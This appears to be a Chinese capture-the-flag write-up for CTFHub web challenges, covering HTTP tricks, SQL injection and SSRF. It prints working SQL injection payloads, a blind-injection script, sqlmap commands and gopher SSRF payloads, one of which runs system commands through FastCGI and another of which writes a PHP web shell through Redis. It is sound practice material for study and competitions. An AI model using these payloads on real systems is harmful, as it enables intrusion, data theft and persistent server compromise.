web前置技能
HTTP协议
请求方式
题目描述:HTTP 请求方法, HTTP/1.1协议中共定义了八种方法(也叫动作)来以不同方式操作指定的资源。
进入主页,题目上的意思可能是让我们用CTFHUB的方法访问该网页,用curl -X CTFHUB或者burpsuite改方法都可以
302跳转
题目描述:HTTP临时重定向
题目里说flag不在这里,也就是说不在index.html里,点击give me the flag跳转到index.php去,但网页里没有flag,直接抓包或者curl -i都可以看到index.php里的flag
Cookie
题目描述:Cookie欺骗、认证、伪造
Sql注入
整数型注入
1 order by 2
判断表的字段个数
2有3没有,显然表的字段个数为2.
-1 union select 1,database() 爆库
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() 爆表,爆出来flag和news两个表,显然flag在flag表里
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=’sqli’ and table_name=’flag’ 爆字段
-1 union select 1,flag from flag 拿flag表里flag字段下的数据
字符型注入
字符型注入和整数型注入差别便出来了,这里相当于是字符1,所以有括号,而上面是数字1,不过从我们攻击者的角度主要差别也就是这个单引号了,注意闭合和注释即可,注入流程几乎同上。
1′ order by 2 # 判断表的字段个数
显然字段个数同上,为2。
-1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 爆表
-1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’flag’ # 爆flag表里的字段
-1′ union select 1,flag from flag #
报错注入
可以看到现在如果输入正确的数字,他会显示查询正确,而如果输入错误,他则会显示错误信息,比如这里他就会说字段dingzhen在’where clause’不存在,因此我们可以利用这一点用显示的报错获取敏感信息。
id=1 and extractvalue(1,concat(‘^’,(select database()),’^’)) 爆库(这里在报错中之前执行了select database(),让我们获得了库名,这就是我们的利用点)
1 and updatexml(1,concat(‘^’,(select table_name from information_schema.tables where table_schema=’sqli’ ),’^’),1) 爆表
它说显示内容不能超过一行,所以我们要在库名后面用limit 0,1限制显示第一行,用limit 1,2即第二行
1 and updatexml(1,concat(‘^’,(select table_name from information_schema.tables where table_schema=’sqli’ limit 0,1 ),’^’),1) 真*爆表
1 and updatexml(1,concat(‘^’,(select column_name from information_schema.columns where table_name=’flag’ and table_schema=’sqli’ limit 0,1 ),’^’),1) 爆字段
1 and updatexml(1,concat(‘^’,(select flag from flag limit 0,1 ),’^’),1) 爆字段下的内容
右边少了一个括号,补上就是完整的flag
布尔盲注
可以看到现在输入id页面里只会显示查询成功还是失败,没有明显的回显,但我们可以用二分法来判断每个字母。
这个题可以直接用sqlmap,简单的批爆
sqlmap -u "url" --dbs
sqlmap -u "url" -D [上一步得到的数据库名] --tables
sqlmap -u "url" -D [上一步得到的数据库名] -T [上一步得到的表明] --columns
sqlmap -u "url" -D [上一步得到的数据库名] -T [上一步得到的表明] -C [上一步得到的列名] --dump
或者也可以用写脚本来解决(网上找的)
import requests
import time
urlOPEN = 'http://challenge-a939293d6fe04bd8.sandbox.ctfhub.com:10800?id='
starOperatorTime = []
mark = 'query_success'
def database_name():
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
def table_name():
list = []
for k in range(0, 4):
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('table_name:', list)
# start = time.time()
table_name()
# stop = time.time()
# starOperatorTime.append(stop-start)
# print("所用的平均时间: " + str(sum(starOperatorTime)/100))
def column_name():
list = []
for k in range(0, 3): # 判断表里最多有4个字段
name = ''
for j in range(1, 9): # 判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('column_name:', list)
column_name()
def get_data():
name = ''
for j in range(1, 50): # 判断一个值最多有51个字符组成
for i in range(48, 126):
url = urlOPEN + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' % (
j, i)
r = requests.get(url)
if mark in r.text:
name = name + chr(i)
print(name)
break
print('value:', name)
get_data()
SSRF
内网访问
?url=127.0.0.1/flag.php
直接构造即可访问flag,后端代码应该是以服务器请求网页,所以我们这里请求127.0.0.1/flag.php即可获得内网的资源
伪协议读取文件
file:// 协议
作用:
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
http/s协议
作用:
探测内网主机存活
dict协议
作用:
泄露安装软件版本信息,查看端口,操作内网redis服务等
Gopher协议
作用:
Gopher协议可以说是SSRF中的万金油。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
?url=file:///var/www/html/flag.php
端口扫描
扫一下端口:
端口会变化的,做的时候自己去扫扫,8000到9000
POST请求
?url=file:///var/www/html/index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
因为只能从127.0.0.1访问,我们可以想到index.php里那个curl函数,先获得key,然后POST得到的key即可:
?url=127.0.0.1/flag.php
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=78806c38ff272b57b63f8344f8df9fdd-->
</form>
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=78806c38ff272b57b63f8344f8df9fdd
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application/x-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=78806c38ff272b57b63f8344f8df9fdd
然后把并把%0A替换成%0d%0A,结尾加上%0d%0A,并且末尾要加上%0d%0a(\r\n)
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:%20127.0.0.1:80%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%2036%0d%0A%0d%0Akey=78806c38ff272b57b63f8344f8df9fdd%0d%0a
然后再编一次码
gopher://127.0.0.1:80/_POST%2520%2Fflag.php%2520HTTP%2F1.1%250d%250AHost%3A%2520127.0.0.1%3A80%250d%250AContent-Type%3A%2520application%2Fx-www-form-urlencoded%250d%250AContent-Length%3A%252036%250d%250A%250d%250Akey%3D78806c38ff272b57b63f8344f8df9fdd%250d%250a
上传文件
访问?/url=127.0.0.1/flag.php,改前端增加提交按钮
<input type="submit" name="submit">
上传后提示我们只能从127.0.0.1上传,用gopher协议伪造从127.0.01post一个文件的包即可
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: challenge-c30322a8a90c0c06.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------2444789648817313102994520886
Content-Length: 354
Origin: http://challenge-c30322a8a90c0c06.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-c30322a8a90c0c06.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
-----------------------------2444789648817313102994520886
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
11111
-----------------------------2444789648817313102994520886
Content-Disposition: form-data; name="submit"
æ交æ¥è¯¢
-----------------------------2444789648817313102994520886--
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
http://challenge-c30322a8a90c0c06.sandbox.ctfhub.com:10800/?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-c30322a8a90c0c06.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A109.0%2529%2520Gecko/20100101%2520Firefox/112.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------2444789648817313102994520886%250D%250AContent-Length%253A%2520354%250D%250AOrigin%253A%2520http%253A//challenge-c30322a8a90c0c06.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-c30322a8a90c0c06.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------2444789648817313102994520886%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A11111%250D%250A-----------------------------2444789648817313102994520886%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------2444789648817313102994520886--%250D%250A
最后,上传txt的解析会出问题,不知道为什么,所以建议上传php
FastCGI协议
用gopherus即可:
然后对_后面的payload进行一次url编码
?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
Redis协议
?url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bcmd%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
对_后面进行编码。
URL Bypass
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
数字IP Bypass
十进制被ban了换其他进制即可
八进制:0177.000.000.001
十进制:127.0.0.1
十六进制:0x7f000001
?url=0x7f000001/flag.php
302跳转 Bypass
?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
exit;
}
echo getenv("CTFHUB");
?url=file:///var/www/html/index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$url = $_REQUEST['url'];
if (preg_match("/127|172|10|192/", $url)) {
exit("hacker! Ban Intranet IP");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
虽然这里ban了127|172|10|192,但绕过方法挺多的,可以用/?url=0/flag.php,因为0在linux指向127.0.0.1,在windows指向0.0.0.0,也可以用?url=localhost/flag.php,当然正统做法是找个网站放个302网页跳转向127.0.0.1
<?php
header("Location:http://127.0.0.1/flag.php");
?>
?url=http://121.36.193.62/403.php
DNS重绑定 Bypass
?url=http://sudo.cc/flag.php